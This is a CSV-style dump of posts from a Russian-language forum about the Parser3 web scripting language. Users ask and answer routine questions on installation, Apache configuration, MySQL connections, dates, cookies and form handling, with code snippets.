"34366","О да, такая примочка есть, результат дает почти один в один с моим вариантом. С этим разобрались, спасибо) \
Остался вопрос о прерывании работы парсера."
"34367","http://www.parser.ru/forum/?id=32911"
"34368","Ранее в скрипте были заголовки:\
$.from, $.to, $.subject и $.text.\
В заговках дата отсутствует, но SquirrelMail показывает начальную дату Parser'а (1 января 1970 года), а The Bat! — <30 декабря 1899 г., 0:00:00  ()>.\
Я подумал, что это из-за отсутствия заголовка $.date. Добавил, но\
ничего не изменилось.\
\
а вот ответ хостера на это:\
[quot]\
я провел несколько тестов:\
\
[root@hoster2 jocker]# /usr/sbin/sendmail -t -i\
To: jocker@azz.ru\
From: jocker@azz.ru\
Subject: test\
\
test\
\
- получил заголовк Date сгенерированный автоматически: \
Date: 3 Nov 2004 11:29:28 +0300\
\
потом проверил так:\
[root@hoster2 jocker]# /usr/sbin/sendmail -t -i\
To: jocker@azz.ru\
From: jocker@azz.ru\
Subjcet: test\
Date: 3 Nov 2004 11:29:28 +0300\
\
test msg\
\
получил опять же заголовок Date, только уже посланный мною же —\
опять Date: 3 Nov 2004 11:29:28 +0300\
\
т. е. как видим, с почтовым сервером все в порядке\
при отсутствии заголовка он его подставляет автоматически, при наличии — не трогает.\
[/quot]"
"34369","А обратно из Unixtime как?"
"34370","select FROM_UNIXTIME(256878451)"
"34371","А в каком виде это выдет обратно!"
"34372","что-то подобное\
[code]\
$id[1]\
\
^class_${id}:method[]\
[/code]"
"34373","напрямую — никак."
"34374","Бьюсь уже два дня. В свободное от работы время конечно. Делаю для себя, для своего сайта.\
\
Ранее я уже спрашивал о разбиении строки в таблице, в итоге получил вот такой работающий код.\
\
$body[^body.match[([^^<>]{24})][g]{${match.1}<wbr>}]\
\
Вопрос такой, как надо модифицировать код, чтобы при обработке не затрагивалась такая конструкция:\
\
<a href=left/?id=$articles.id style=\"color=#999999\">\
\
Существующий код делит анкор на две части. Нужно чтобы он пропускал анкор, и делил только текст между тегами <a ...> и </a>\
\
Задача явно тривиальная. Может, кто уже сталкивался.\
\
Заранее благодарю."
"34375","Слушайте, можно вставить слово? Когда выйдет 314 версия?"
"34376","вышла первая [b]release[/b] версия MySQL 4.1.x\
\
major new features: http://dev.mysql.com/doc/mysql/en/Nutshell_4.1_features.html\
\
наиболее интересное для меня: подзапросы и хранение данных в UNICODE"
"34377","http://www.egoroff.spb.ru/portfolio/18.html"
"34378",":) подождем когда оттестируют 5.1 до тех пор мускул для меня неинтересен. А к тому времени и работа постгреса под вин сильно улучшится."
"34379","хорошо...\
а тогда как правильно писать значение в поле $.domain[]???"
"34380","Есть база MySQL, где хранятся определенные тексты, причем в этих текстах встречаются html-символы типа &nbsp;\
\
По определенному критерию выбираю нужные тексты и вставляю их на страницу. Получаю текст, в котором вижу явно &nbsp;\
\
То есть эти html-тэги браузером не обрабатываются, а надо.\
Если смотреть исходник генерируемой страницы, вижу что-то вроде ...текст&amp;nbsp;текст - логично, что браузер такое пробелом не считает. Но кто просил parser заменять &nbsp; на &amp;nbsp;?! :-)"
"34385","отлавливать и выводить разные-всякие ошибки с помощью ^throw[]?\
Например в гостевой книге:\
[code]\
^try{\
	^_author_length[]\
#     и так далее...\
	^void:sql{INSERT INTO ......}\
}{\
	^_errors[]\
}\
\
# разные операторы-проверки с throw в случае ошибки\
@_author_length[]\
^if(!def $form:author || ^form:author.length[] > $maxlength){\
	^throw[author.length;$form:author]\
}\
\
# и вывод ошибок\
@_errors[]\
$errors[^table::create{type	explanation\
author.length	Длина имени не должна быть больше $maxlength символов\
}\
\
^if(^errors.locate[type;$exception.type]){\
	$exception.handled(1)\
	<span style=\"color:red\">\
	$errors.explanation\
	</span>\
}\
[/code]"
"34386","Parser3 - core намылил\
\
зы пишу в форум, тк Вы говорили, что можете не прочитать сообщение, если оно неправильно именовано, как правильно - не помню"
"34387","Ошибка криво закрытое ^t.menu{....\
\
[code]\
@price_cell[parent_id][parent_id;t]\
	$t[^sections_price_0.select($sections_price_0.parent_id == $parent_id)]\
	^if($t > 0){\
		<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" bgcolor=\"#000000\">\
			^t.menu{\
				^if($t.uri eq $request:uri){\
					<tr  bgcolor=\"#EFEFEF\">\
						<td width=\"100%\" align=\"left\" bgcolor=\"#FFFFFF\">\
							&nbsp^;&nbsp^;&nbsp^;&nbsp^;<nobr>$t.name</nobr>\
							^price_cell[$t.section_id]\
						</td>\
					</tr>\
				}{\
					<tr width=\"100%\" bgcolor=\"#EFEFEF\">\
						<td align=\"left\">\
							&nbsp^;&nbsp^;&nbsp^;&nbsp^;<a href=\"$t.uri\"><nobr>$t.name</nobr></a>\
							^price_cell[$t.section_id]\
						</td>\
					</tr>\
				}\
		</table>\
		$t[]\
	}{}\
}\
[/code]"
"34388","Это позволяет централизовать и сделать универсальными все сообщения об ошибках и грамотно их отлавливать, используя себе на пользу.\
Только не стоит это делать просто ради того, чтобы делать. Только то, что реально нужно и отдавать методу источник обязательно, дабы потом не рыскать откуда пришло исключение."
"34389","и все новое я стараюсь делать с помощью него.\
это позволяет избежать четырехэтажных вложеных if-ов и выделить вывод информации об ошибках в отдельное место.\
\
однако во первых к этому необходимо привыкнуть, а во вторых обратная совместимось с предыдущим кодом отсутствует."
"34390","на этой неделе планирую разгрести текучку, выпустим."
"34392","8.0 уже имеет инсталятор под win и сам код использует win32 механизмы а не эмуляцию как раньше. Правда стадия пока бета4. К концу года обещают релиз."
"34393","Меня собственно эта ошибка не парит, исправил очепятки в коде и всё заработало :)"
"34394","Только как-то так:\
$mycall[^^class_${id}:method^[^]]\
^process{$mycall}"
"34395","Все прочитал. Не специалист, да. Но все прочитал. Нет премени докупать спец. литературу. А вы тут кичитесь знаниями.\
\
Задача весьма не тривиальна для меня. Ссылки, при обработке едыным массиов, должны выводиться лесенкой.\
\
aaaaaaaaaaaa\
aaaaaaaaaaa\
aaaaaaaaaa\
aaaaaaaaa\
aaaaaaa\
...\
\
для начала метода пыток я изобрел такой код.\
^body.match[<(a href=)(.*?)>(.+?)</a>][g]{<$match.1 $match.2>^match.3.match[([^^<>]{16})][g]{${match.1}<br />}</a>}\
\
работает, конечно, но воспринимает каждуй строчку отдельно, то есть ишет слово определенной длинны. А как сделать чтобы отсчитывал любые символы, и с каждым шагом обрубал на единичку меньше, вот в чем вопрос?"
"34397","факинтош!\
(13)Нет доступа: exec of /var/www/.../cgi-bin/parser3.cgi failed\
[client адрес] Premature end of script headers: /var/www/vhosts/.../cgi-bin/parser3.cgi\
\
cat .htaccess:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
-------------\
\
OS - RedHat 7.3\
apache - 1.3.23\
FAQ прочитан досконально (!!!)\
\
Что делать и кто виноват?"
"34398","Нужно отслеживать переходы по банеру с другого сайта и действия посетителя, который перешел по нему."
"34400","Помогите пожалуйста поставить Parser. Как написано в инструкции у меня не получается. Если не затруднит, то распишите по шагам. Заранее благодарен. Кстати у меня Win2000pro и IIS5."
"34402","А не планируется ли поддержка SNMP в Parser.\
Весьма помогло бы при написании систем мониторинга и управления.\
\
Я понимаю, что все элементарно делается на Perl и т.д., но все же такой вопрос.\
\
---\
Дмитрий"
"34403","какую, например, статистику вы планируете отдавать?\
\
некое начало подобным сервисам было заложено:\
http://www.parser.ru/docs/lang/consoleclass.htm\
\
вполне можно развить, если есть разумные предложения."
"34404","не выйдет. задерживается.."
"34406","Кстати. Почему на сайте нет раздела \"Чем Вы можете помочь\".\
Я (думаю, что не только я, но говорить могу только от своего имени) с радостью всеми силами и умениями поддержу развитие Парсера.\
Я не программист ни Си...\
patch -u у меня получится такой, что лучше бы его совсем небыло :)\
\
Выкладывайте ВСЕ задания, которыми Мы можем помочь развитию проекта. Люди-то здесь общаются всесторонне развитые."
"34407","Установил модуль парсера к апачу(ставил через инсталлятор) в httpd.conf после строчек \
[code]#LoadModule usertrack_module modules/mod_usertrack.so\
#LoadModule unique_id_module modules/mod_unique_id.so\
#LoadModule php4_module C:/PHP/sapi/php4apache.dll [/code] добавил [code]#LoadModule parser3_module parser3_module C:/Program Files/Apache Group/Apache/cgi-bin/ApacheModuleParser3.dll[/code] а после строк с [code]#AddModule mod_usertrack.c\
#AddModule mod_unique_id.c\
#AddModule mod_so.c\
#AddModule mod_setenvif.c\
#AddModule mod_parser3.c[/code] добавил [code]#AddModule mod_parser3.c[/code]\
Доступ к .htaccess разрешил добавил строчку [code]AllowOverride FileInfo[/code]\
Также впихнул [code]#can be in .htaccess\
              #ParserConfig C:\\Program Files\\Apache Group\\Apache\\cgi-bin\\auto.p [/code] (это путь к авто.п который установил сам парсер)\
так же пробовал ставить [code]#ParserConfig Z:\\корневая_папке_сайта\\.htaccess[/code]\
создал .htaccess в корневой папке сайта(на харде)\
[code]\
# назначение обработчиком .html страниц\
AddHandler parser3-handler html\
\
# задание Конфигурационного файла\
#ParserConfig C:\\Program Files\\Apache Group\\Apache\\cgi-bin\\auto.p\
\
# запрет на доступ к .p файлам, в основном, к auto.p\
<Files ~ \"\\.p$\">\
    Order allow,deny\
    Deny from all\
</Files>\
[/code]\
перименовал файл из other/_test.html в index.html и положил его в папку www\
\
при проверке TestConfiguration апача выдал Synax OK \
запускаю апач, в браузере пишу www.MYSITE.ru (по идеи должен отобразиться тестовый файл парсера) а выдает \
# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. # \
Вот и что делать? Бюсь уже часов 5. Помогите советом, кто может."
"34408","Нет, класс console тут вряд ли поможет.\
\
Речь идет о считывании/установке SNMP переменных с различных сетевых устройств.\
\
По сути это ближе в классу SQL, только в качестве базы данных выступает сетевое устройство поддерживающее SNMP.\
\
Дмитрий"
"34412","поэтому встроенное средство такое не появится.\
\
скрипты на perl с готовыми библиотеками = то, что нужно."
"34413","поскольку всё, что надо сделать, это внести висящие изменения в документацию, что я сделаю сам."
"34414","куда-то вы не туда её написали.\
раз вы можете менять httpd.conf, вам работоспособность .htaccess несущественна, директивы из него вполне можете поместить в <virtualhost>."
"34415","Я думаю, что такой раздел нужен проекту.\
ИМХО, конечно. :)"
"34417","так я же пробовал в .htaccess ввести ченить типа mytest - 500ую стразу ловил...а вот если в акссессе нету [code] ParserConfig [/code] тада 500 нету но и парсера тоже.\
\
[color=\"ff0000\"] Может кто даст httpd.conf глянуть а? В хелпе написано что LoadModule и AddModule нада впихивать без #. А без нее\
net start apche не работает. да и тест конфига выдает синтаксическую ошибку [/color] "
"34418",":))"
"34419","готовый пакет парсера работать так и не захотел, пришлось собрать из исходников. теперь пробуем собрать parser3mysql\
\
итак:\
\
исходники лежат в \
\
/usr/src/source/parser-3.1.3/\
\
parser3mtsql-3.1.3.tar.gz распакован в \
\
/usr/src/source/parser-3.1.3/src/sql/mysql/\
\
в итоге\
\
pa_sql_driver.h лежит в \
\
/src/sql/\
\
а parser3mysql.C в\
\
/src/sql/mysql/\
\
на make он ругается:\
\
parser3mysql.C:17:27: pa_sql_driver.h: No such file or directory\
\
что править? по форуму искал, вроде все делаю по рекомендациям лучших собаководов..."
"34420","или полемизировать?"
"34421","перечитайте parser3/INSTALL и mysql/INSTALL,\
специально для copy/paste написаны команды."
"34422","Есть страница с полями и кнопкой, нажатие на которую обрабатывает этот же скрипт. Как узнать, нажата ли кнопка?\
\
Дело в том, что нужно проверить, заполнены ли поля. Если использовать проверку def $form:field, то запрограммированное мной сообщение об ошибке вылазит сразу, еще до нажатия кнопки - при загрузке страницы. Оно и логично, по дефолту все поля - undef."
"34423","subj., посмотрите как это там реализовано.\
\
Hints:\
[code]\
<input type=\"hidden\" name=\"do\" value=\"do\" />\
\
...\
\
^if(def $form:do){...\
[/code]"
"34425","У меня уже был Денвер и я просто скачал Парсер! Всё работает кроме почты. Выдает сообщение, что не может подключиться к серверу ххх.хх:25 ! Как настроить Апач или Парсер!\
Помогите плз!"
"34426","Наблюдаю проблему с hashfile::open.\
При попытке открыть/[b]создать[/b] хэшфайл из/в несуществующ(ем/ий) каталог(е) получаю ошибку:\
[b]apr_sdbm_open(shared) error: Bad file descriptor (9)\
open[/b]\
\
С открыть - ладно, понятно, что нечего в данном случае открывать.\
Но смотрим доку, где написано:\
[quot]^hashfile::open[имя файла]  \
\
Открывает имеющийся на диске файл или создает новый.[/quot]\
\
При этом при сохранении файла в несуществующий каталог обычна практика создания оного.\
Ошибка, или недопонимание?\
Версия Парсера 3,1,3."
"34427","Это не работает. + метод clear не совсем корректен.\
PAF обещал через неделю выложить новую версию. ждем..."
"34429","Как лучше всего сравнить даты ? Одна дата в формате sql date/ Вторая дата должна создаваться средствами парсера. Обычно я сравнивал через сложное выражение. Но в документации есть способ легче:\
\
[code]\
$new_after[^date::now(-3)]\
$articles[^table::sql{select id, title, last_update from articles where …}]\
^articles.menu{\
    $last_update[^date::create[$articles.last_update]]\
    <a href=${articles.id}.html>$articles.title</a>\
    ^if($last_update > $new_after){новая}\
    <br>\
}\
[/code]\
\
правда он не работает:\
method_frame may not be overwritten with date, store it to variable instead \
Посоветуйте как можно провести сравнение даты из sql и parser и как лучше создать при этом дату в parser ?"
"34430","Странное дело. ^math:md5[] возвращает строку, но относится к ней слишком вольно, т.е.. к примеру, ^math:md5[$form:password] может дать 698D51A19D8A121CE581499D7B701668, а рядом же, вызванный из другого оператора - в нижнем регистре: 98d51a19d8a121Ce581499d7b701668. \
Мне так и не удалось установить, от чего это зависит. Написал свой оператор\
@md5[str]\
$result[^math:md5[^str.lower[]]]\
\
Но все равно - неприятно: это все-таки строка..."
"34432","Сравнивать лучше всего именно так как написано в примере.\
\
а неработает почему....\
пробуйте пока неполучится"
"34433","поиском пользовался вроде.\
\
И так.\
Есть вот такая вот строка\
[code]$file[^file::load[binary;^taint[file-spec][$change.href]]][/code]\
\
На домашней машине загружает все и в легкую.\
Как только загружаю на сервер выдает\
\
[code]does not start with http://[/code]\
\
....У меня была похожая ситуация когда я картинки с пользователской машины подгружал. На домашней серваке все открывалось на ура когда загружал на сервер то после загрузки картинка не открывалась. Оказалось надо было просто в .httacces прописать пару строк и все сразу заработало. Может быть и в данном случае что-то непрописано?:\\\
\
Спасибо"
"34435","Сохраните три файла в папке по выбору, запустите Emulator.pl и наслаждайтесь локальным SMTP-сервером. \
\
Скоро перепишу это чудо с нуля немного по-другому (только доразберусь с winsock control arrays в VB...)"
"34436","Читаем доку:\
\
[quot][b]^math:md5[строка][/b]\
\
Из переданной строки получает «отпечаток» размером 16 байт.\
Выдает его представление в виде строки - байты представлены в шестнадцатеричном виде без разделителей, в [b]нижнем[/b] регистре.[/quot]\
\
У меня всегда выдаёт в нижнем.\
\
Далее, для чего вы получаете отпечаток пароля?\
Может вам его всё же схэшировать надо?..\
[code]^math:crypt[password;salt][/code]"
"34437","Кто-нить может подсказать, как мне на JavaScript сделать, чтобы сраничка, сначала использовавшая одни стиль (который указан в <link>) потом, скажем, при нажатии кнопочки загрузилась в окно браузера, но уже с используя другой файл *.css? Та же страничка, но с другим css?\
Большое спасибо всем!"
"34438","Может, и нужно crypt, но я мало разбираюсь в безопасности. Знаю только, что пароли лучше хранить ввиде отпечатков, а id сессии каждую загрузку менять.\
\
А то, что регистр меняет - знаю точно, что в модуле нигде в нет преобразований .upper[]... Ладно, пусть останется как курьез."
"34439","@md5[str][tmp]\
$tmp[^math:md5[$str]]\
$result[^tmp.lower[]]\
\
А причину так и не нашел. ^math:md5[что-то] может прийти как в верхнем, так и в нижнем регистре. Parser 3.1.3 win32 cgi xml/noxml"
"34440","Уважаемый, Александр Петросян!\
\
Поздравляю с днем рождения. Может я и не умею говорить красивые слова, но зато могу от всей души пожелать [b]удачи[/b], [b]счастья[/b] и [b]успехов[/b], как в творчестве, так и в личной жизни! Спасибо Вам, за то, что вы у нас есть ;)"
"34441","Спасибо!\
Попробую!!!"
"34442","Я полный чайник в Веб-программировании. Видел, что в Парсере можно легко создавать файлы, а каким макаром можно каталоги создавать!!! Пожалуйста подскажите!!! Оч надо!"
"34443",".htaccess убрал\
\
в httpd.conf записал [code]NameVirtualHost 127.0.0.1:*\
<VirtualHost 127.0.0.1:*>\
    ServerName MYSITE.ru	\
\
# назначение обработчиком .html страниц\
AddHandler parser3-handler html\
\
# задание Конфигурационного файла\
ParserConfig Z:/home/MYSITE.ru/cgi/auto.p\
\
# запрет на доступ к .p файлам, в основном, к auto.p\
<Files ~ \"\\.p$\">\
    Order allow,deny\
    Deny from all\
</Files>\
[/code]\
ApacheModuleParser3.dll + auto.p положил в папку Z:/home/MYSITE.ru/cgi откуда сам модуль собственно говоря и загружается. Все равно - что в лоб, что по лбу."
"34445","[color=\"#ff0000\"]Уважаемый ПАФ, желаю Вам всего наилучшего ;)[/color]"
"34448","^connect[mysql://...?charset=cp1251_koi8] - ок\
...?charset=koi8_cp1251 - ошибка\
...?charset=cp1251 - ошибка\
...?charset=win1251 - ошибка:\
Unknown character set: 'win1251'\
Пакет \"Денвер\"\
В чем может быть проблема?"
"34450","Счастливого вам, Александр, хэпибёздия!\
\
Спасибо за замечательный инструмент и неоценимую помощь в деле просвещения народа.\
\
Пожелать хочется, прежде всего, терпения, тяжело вам приходится.\
\
Поднимаю за ваше здоровье чашку чая!"
"34452","Есть страница с формой с кучей полей\
При отправке формы значения полей сохраняются в xml в отдельной ветке, в том числе сохраняется id каждой записи.\
Проблема в том, что если после отправки нажимаю в броузере назад то попадаю на ту же самую страницу с заполненной формой и имею возможность отправить те же самые значения полей включая id который не пересчитывается.\
Короче получаются 2 одинаковые записи с одиноковым id\
\
вопрос как этого избежать?\
как например сделать как на mail.ru при отправке почты\
\
заранее благодарен за ответы\
\
да все это работает на apache 2 + parser 3"
"34453","Будет ли полная поддержка JPG формата классом image? А то он только мерить его может. А вот превьюшки на ходу не может делать."
"34454","Вот код:\
\
$i(0)\
$code{$i}\
$i(1)\
$code\
^if($code is junction){yes;no}\
\
   А выдает он почему-то: \"1 no\"\
\
   То есть $code у него не junction!\
\
   Хотя в доке написано:\
\
> Значение типа junction появляется в переменной…\
> \
> …при присваивании ей кода:\
> $junction{Код, присваиваемый переменной: ^do_something[]}\
   \
\
     Что это значит?"
"34455","Проверяйте id на уникальность.\
При совпадении - выдавайте сообщение об ошибке."
"34458","Если это касается редактирования, то устаревание не нужно\
Если добавления нового экземпляра коллекции, то можно:\
1) Хранить отдельным скрытым полем текущую дату unixtime. При создании экземпляра коллекции пусть она пропишется, а потом проверяйте.\
2) Сделать контрольную сумму всех полей экземпляра, и проверять устаревыание по ней."
"34459","ClientCharset задает в какой кодировке находятся данные в базе, перекодирование в ваш request:charset Парсер сделает сам."
"34462","http://www.globoxchange.com/\
\
Повтарюсь.\
На домашнем сервере все пашет на ура."
"34464","Как я понимаю проблема в том что пользователи случайно добавляют по две записи. Не нарочно поганят.\
\
Можно в куки прописать человеку после того как он добавил. значение 2,3....5,6 полей. Если он тут же еще раз начинает добавлять. Проверить в куках. Если совпало. Ошибочка."
"34466","... что в данном месте в $change.href приходит корректная строка? Т.е., как минимум, начинающаяся с \"http://\". \
\
И таинт там совсем не нужен - Парсер сам сделает необходимые преобразования."
"34467","все очень просто.\
\
делаем вот такое дело\
\
[code]<link rel=\"stylesheet\" href=\"^if($form:supercss ne 1){style.css}{supercss.css}\" type=\"text/css\">\
[/code]\
\
А ссылку. Ну ту которую надо нажать\
\
[code]<a href=\"http://homepage/?supercss=1\">Супер стиль</a>[/code]\
\
А вообще так делать неправильно. Лучше править class у объекта, а подгружать всегда один и тотже цсс где описаны все классы."
"34468","... то в Парсере есть функция ^image.copy.\
\
http://www.parser.ru/docs/lang/imagecopy.htm"
"34471","Откуда данные приходят?"
"34472","из мюскуеля\
\
Лана для чистоты эксперемента строчку напишем так\
\
[code]$file[^file::load[binary;^taint[file-spec][http://www.globoxchange.com/]]][/code]\
\
Что и следовало ожидать. На домашней машине все окей на сервере\
\
[code]'http://www.globoxchange.com/' does not start with http://[/code]"
"34475","Все заработало. Чувствую себя идиотом. Таинт впихнул туда из-за [url=\"http://www.parser.ru/forum/?id=30307\"]вот этого[/url] поста (поиск рулит)\
\
А все таки интересно. Почему на домашней машине пашет а на серваке нет?"
"34477","Наверное для этого есть причины, но это надо у ПАФа спрашивать."
"34479","... тогда только внешними програмами. Сам использую ImageMagick [консольные утилиты].\
\
p.s. http://www.parser.ru/forum/?id=31690"
"34482","Почему?"
"34483","Товарищи разработчки, объясните для \"тупых\" полный синтаксис подключения к базе MSA  и выборку полей в таблице.\
А то ни фига не получается...если надо я приведу свой код и объясните в чем беда....пожалуйста...и не Посылайт плиз перечитать доку...."
"34485","Так точно! я его через ОДБС пытаюсь прописать...никаких результатов, а говорят ничего сложно...\
А сложного действительно ничего, но у меня не работает..."
"34486","Напишите что вы делали для того чтобы у вас получилось. Пример кода который не работает. Или придётся вас на дыбу, в испанские сапоги и проч...\
\
Кстати, очень часто ответ находится, в тот момент когда пытаешься внятно изложить что-же не получается.\
\
И ещё. На форуме есть поиск. :)))"
"34488","Было классно если бы taint умел из такой конструкции <font color=red>Артем</font> вытягивать Артем Т.е. оставлял только русские буквы. Тогда было бы удобней обрабатывать формы. Чтобы неизвестно какие данные удалялись. А может это и не к taint'у надо приделать."
"34495","Возможно Ваши вопросы или ответы в форуме, очень сильно поменяют репутацию Sumo."
"34496","понятно что задача не типичная, но класс console еще менее типичен для web-приложений, тем не менее он уже существует.\
Почему бы в виде внешней библиотеки, как для SQL не сделать ?\
\
---\
Дмитрий"
"34497","как так может быть.\
\
остатки: вы сайт вешаете на localhost, а обращаетесь к другому ip адресу, на который ваш <virtualhost> не распространяется, срабатывает другой кусок конфига....\
\
http://localhost/ что даст?"
"34498","потому, что в {коде} под if дату печатают просто так, а нужно\
[code]^dateVariable.sql-string[][/code]\
хотя бы"
"34499","[code]\
static void _md5(Request& r, MethodParams& params) {\
...\
r.write_pass_lang(*new String(hex_string(digest, sizeof(digest), >>false<<)));\
...\
static const char* hex_string(unsigned char* bytes, size_t size, bool upcase) {\
	static const char *hex=upcase?\"0123456789ABCDEF\":\"0123456789abcdef\";\
[/code]\
\
видите этот >>false<< ?\
так что всегда в нижнем.\
\
может спутали?\
[code]\
#в нижнем (для совместимости с PHP)\
^math:md5[строка]\
#в верхнем\
^math:uuid[]\
#в верхнем\
^math:uid64[]\
[/code]"
"34502","происходит следующее: code-junction взрывается в руках.\
только его взяли в руки, он вычисляется. ещё раз взяли в руки, ещё раз вычисляется.\
\
method-junction так себя не ведёт: ему нужны параметры для вызова.\
\
поэтому code-junction можно только использовать только после вычисления.\
ясно, что после вычисления тип уже не junction.\
\
рассмотрим пример:\
[code]\
@main[][i]\
$i(0)\
^mywhile($i<10){\
  $i\
  ^i.inc[]\
}\
@mywhile[expr;code]\
^while($expr){$code}\
[/code]\
\
тут в while ушёл code-junction.\
не обращайте внимание на скобки. и круглые и фигурные скобки создают code-junction.\
\
соответственно в while надо обязательно code-junction вычислять.\
и parser не знает, что за оператор будет применён к выражению (и будет ли применён вообще), parser достаёт значение code-junction и вычисляет его [b]сначала[/b], потом остальное.\
\
красивого решения не вижу."
"34503","[code]\
^connect[odbc://Driver={Microsoft Access Driver (*.mdb)}^;Dbq=c:\\full\\path\\to\\your.mdb]{\
  ^string:sql{select 2*2}\
}\
[/code]"
"34504","большое спасибо Stoned за массу съэкономленных движений мышки только на моём рабочем месте :)"
"34505","поэтому при всей нетипичности ещё имеет право на существование.\
SNMP нет.\
\
насчёт внешних классов -- есть такая недодумка, в самом нечале не был сделан механизм их подключения, как .dll/.so\
сделать, конечно, можно, однако за годы существования parser -- вы -- [b]второй[/b] кому это понадобилось.\
\
так что сами понимаете."
"34506","В службе поддержики сервера (FreeBSD) мне сказали, что я могу сам поставить Parser. Но я убей бог не понимаю этого.\
Нужна связка\
CGI скрипт с поддержкой XML - это понятно, просто скопировать в CGI\
.htaccess поставить в корень и вписать в него\
----------------------------------------\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
-----------------------------------------\
SQL драйвер для MySQL - вот тут не понятно, Скачайть архивы необходимыми SQL драйверами, и распаковать их в каталог {куда установил Конфигурационный файл}/lib.....\
/lib - я так понимаю директория, к которой у меня доступа нет.\
\
Так как же установить? и правильно ли я написал ход действий?"
"34507","доброго времени суток! возник такой вопрос. есть ли какой-то классический способ скриптования покупательской корзины для интернет-магазина?"
"34508","^math:md5[str] в верхнем, рядом мой ^md5[str] - в нижнем. Хотя в исходниках у Вас всё, на мой ламерский взгляд, прозрачно...\
\
Кстати, я так и не нашел причину, почему иногда @auto из ^use[вызываемого файла] не выполняется. Бывает, в каком-то совершенно стороннем методе что-то поправлю - и @auto перестает срабатывать.\
\
Да, всё это замечено только в win2000. Под xp и linux вроде, тьфу-тьфу, нормально:)"
"34509","а не болтать."
"34511","Т.е. пне просто нужно там папку lib создать и туда кинуть?\
Я думал это в системе папка такая..."
"34513","Ладно сделал, как сказили, но MySQL и XML не работают!"
"34514","недавно посмотрел ещё раз славный мультик\
«Властелины Времени»\
\
там такие весёленькие два телепатика были, разноцветные с трёхпалыми ножками."
"34515","Более того, сайт вообще перестал работать и выкидывает ошибку 500."
"34517","Вот уже два часа бъюсь не могу понять.\
Сделал у себя локальном сервере страницу, которая проверяет cookie:\
если есть - выводит форму для заполнения,\
если нет - просит пароль и сохраняет\
$cookie:name[\
	   $.value[value] \
	   $.expires[session]\
	]\
\
после чего заполняю форму, страница загружается, проверяет cookie, обрабатывает форму.\
На локальной машине работает, на одном сервере работает, на другом нет.\
Вопрос: почему может не работать на другом сервере? Везде код одинаковый."
"34518","но и особого криминала тоже нет - пусть глючит)"
"34519","можем пособить только идеей включить в браузере подтверждение получаемых cookie, запрашивать подтверждение даже на сессионные cookie.\
\
и посмотреть, приходят ли.\
и если приходят, то корректные ли."
"34520","не должен глючить.\
\
пока не представите воспроизводимый тест, всё вами сообщаемое на эту тему считаем недосыпом."
"34523","Сделал тестовую страницу с кодом\
[code]<p>\
В куках было $cookie:name <br>\
^if(def $form:text){\
Сохраняем в куки $form:text <br>\
$cookie:name[$form:text]\
Теперь в куках $cookie:name <br>\
}\
<form method=post action=\"./test.html\">\
<input type=text name=text><input type=submit>\
</form>\
</p>\
[/code]\
\
и стал гонять значения\
\"В куках было 123 \
Сохраняем в куки 456 \
Теперь в куках 456 \"\
\
куки сохранены и читаются.\
\
перехожу на другую страницу сайта, а потом обратно.\
пишет что в куках ничего не было\
\
\"В куках было \"\
\
однако при вводе данных выводит\
\
\"В куках было 456 \
Сохраняем в куки 987 \
Теперь в куках 987\"\
\
т.е. показвает сохраненное начение.\
\
Может это быть глюк сервера???"
"34526","ну, так не честно) этим и занимаемся, когда такие ответы приходят.."
"34527","Чегото я не разберусь с написанием функций в парсере ( после php может что не понимаю):\
\
пишу:\
@func[a;b]\
^eval(a+b)\
\
использую:\
^func[2;2]\
\
не работет в чём дело ?"
"34528","если в cookie что-то положить, достать можно сразу, без перезагрузки страницы [parser].\
\
не вижу, чтобы вы послушали совета.."
"34529","Ситуация такая:\
при создании даты и последующем конвертировании результата в unix_timestamp дата+время получается на 8(!!!) часов меньше реальной.\
\
вот фрагмент кода\
[code]\
$date[^date::now[]]\
^date.unix-timestamp[] / \
$dt[^date::create($date.year;$date.month;1;0;0;0)]\
$stop[^dt.unix-timestamp[]]\
^date.roll[month](-1)\
$dt[^date::create($date.year;$date.month;1;0;0;0)]\
$start[^dt.unix-timestamp[]]\
$start / $stop\
[/code]\
\
результат выполнения (на машине 2004-11-09 16:52:08):\
1100008328 / 1096574400 / 1099256400\
\
проверяю таймстампы:\
1100008328 - 2004-11-09 08:52:08\
1096574400 - 2004-09-30 16:00:00\
1099256400 - 2004-10-31 16:00:00\
\
парсер 3.1.3+XML (CGI), платформа WinXP, Apache\
\
повторяя вопрос топика - и где грабли?"
"34530","вы пока привели кусок, получающий stamp'ы.\
а как вы их преобразуете в даты не описали."
"34531","Если там есть знак подчёркивания - то куки не будут работать"
"34532","Преобразование в таймстамп производится методом класса date\
Вот комментарии к каждой строчке:\
\
[code]\
# создаем объект класса date с текущей датой\
$date[^date::now[]]\
# печатаем таймстамп (для отладки, собственно, уже здесь видно несовпадение)\
^date.unix-timestamp[] / \
# создаем еще один экземпляр класса date, но на этот раз дата = начало текущего месяца\
$dt[^date::create($date.year;$date.month;1;0;0;0)]\
# пишем в $stop таймстамп начала месяца ($dt)\
$stop[^dt.unix-timestamp[]]\
# сдвигаемся по дате на один месяц назад (от текущей)\
^date.roll[month](-1)\
# переписываем в $dt новую дату (-1 месяц от текущей)\
$dt[^date::create($date.year;$date.month;1;0;0;0)]\
# пишем в $start таймстамп начала прошлого (!) месяца ($dt)\
$start[^dt.unix-timestamp[]]\
# выводим (для отладки) получившиеся таймстампы (результат - те же -8 часов от нужных значений)\
$start / $stop\
[/code]\
\
Далее значения просто подставляются в SQL-запрос для выборки записей за весь ПРОШЛЫЙ месяц\
[code]\
$lines[^table::sql{select beginSession,... from ... where beginSession between $start and $stop}]\
[/code]\
Вы сами понимаете, что с подобными таймстампами выборка проходит совсем не так как надо, что поттверждается записями в отчете, формируемом следующим кодом\
[code]\
# создаем корень XML-отчета\
$xml_report[^xdoc::create[${rep_template.rootElem}]]\
# запоминаем корень для последующего добавления элементов\
$root_elem[$xml_report.documentElement]\
# погнали формирование репорта\
^lines.menu{\
   # здесь я создаю елемент класса date, используя конструктор unix-timestamp\
   $d[^date::unix-timestamp(${lines.beginSession})]\
   # создаем XML-ноду строки отчета\
   $line[^xml_report.createElement[${rep_template.lineElem}]]\
